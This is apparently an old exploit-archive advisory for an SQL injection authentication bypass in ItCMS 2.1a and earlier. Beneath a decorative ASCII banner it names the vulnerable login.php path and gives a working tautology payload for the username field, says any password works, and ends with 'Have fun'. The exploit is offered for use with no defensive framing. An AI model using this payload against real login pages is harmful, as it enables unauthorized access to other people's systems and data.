ItCMS <= 2.1a (Auth Bypass) SQL Injection Vulnerability

__ .__ .___ __ .__ ____ ____________/ |______ |__| ____ __| _/____ _____ _/ |_| |__ _/ ___\/ __ \_ __ \ __\__ \ | |/ \ / __ |/ __ \\__ \\ __\ | \ \ \__\ ___/| | \/| | / __ \| | | \/ /_/ \ ___/ / __ \| | | Y \ \___ &#62;___ &#62;__| |__| (____ /__|___| /\____ |\___ &#62;____ /__| |___| / \/ \/ \/ \/ \/ \/ \/ \/ --+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++-- --+++~~~~~ IT!CMS &#60;= vers. SQL Injection Vulnerability ~~~~~+++-- --+++~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+++-- [+] Discovered by: certaindeath [+] Exploit: simple SQL injection [+] Path: [cms dir]/login.php [+] Username: &#39; OR &#39;x&#39; = &#39;x [+] Password: anything [+] Have fun ^^ # milw0rm.com [2009-01-06]